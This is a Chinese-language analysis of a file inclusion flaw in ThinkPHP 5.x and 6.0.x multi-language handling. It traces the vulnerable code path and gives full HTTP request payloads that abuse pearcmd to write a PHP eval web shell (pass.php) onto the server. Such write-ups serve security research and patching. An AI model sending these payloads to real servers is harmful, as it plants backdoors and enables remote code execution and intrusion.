漏洞介绍:
ThinkPHP
在开启多语言的情况下,存在文件包含漏洞,配合 pearcmd
可以 getshell
。
漏洞影响:
存在漏洞的版本
Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x
不存在漏洞的版本
ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42
漏洞分析1:thinkphp5版本
测试环境搭建:
1 | thinkphp v5.1.41 |
首先在文件tp5.1/config/app.php中开启多语言
然后在tp5.1/public目录新建文件phpinfo.php内容为<?=phpinfo();
漏洞分析:
漏洞验证时当我们访问如下url时会文件包含phpinfo.php
url:http://localhost/tp5.1/public/index.php/?lang=../../public/phpinfo
我们来分析漏洞成因
首先我们看到tp5.1\thinkphp\library\think\App.php中的loadLangPack方法
文件包含点出现在Lang::load方法中,想要包含任意php文件,我们需要控制变量langset的值
先分析Lang::detect中
我们可以通过get请求带有参数lang的方式给$this->range赋任意值
接着回到loadLangPack方法,因为$this->request->setLangset($this->lang->range());
所以通过Lang类的变量range我们可以给Lang类的变量Langset赋予任意值。
再来看Lang::load
包含的文件一般是这个样子的,而且我们只能包含php文件。
所以这个漏洞需要和pearcmd拓展相结合才能rce
pearcmd利用方式介绍:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
所以最终的利用数据包应该是这样的形式(将会在public目录生成后门文件pass.php)
1 | GET /tp5.1/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['pass'])?>+pass.php HTTP/1.1 |
漏洞分析2:thinkphp6版本
测试环境搭建:
1 | thinkphp v6.0.13 |
首先在文件tp6.0/app/middleware.php中开启多语言
然后在tp6.0/public目录新建文件phpinfo.php内容为<?=phpinfo();
漏洞分析:
漏洞验证时当我们访问如下url时会文件包含phpinfo.php
url:http://localhost/tp6.0/public/index.php/?lang=../../public/phpinfo
首先看到tp6.0\vendor\topthink\framework\src\think\middleware\LoadLangPack.php中的handle方法
detect方法和和thinkphp5的没有太大差别同样是可以通过get传递lang的方式设置$langset的值,load
方法在switchLangSet()我们需要进入其中
进入Lang::switchLangSet
继续进入其中的load方法
继续进入其中的parse方法
包含的文件一般是这个样子的,还是只能包含php文件。
和pearcmd结合利用的数据包如下:(将会在public目录生成后门文件pass.php
1 | GET /tp6.0/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['pass'])?>+pass.php HTTP/1.1 |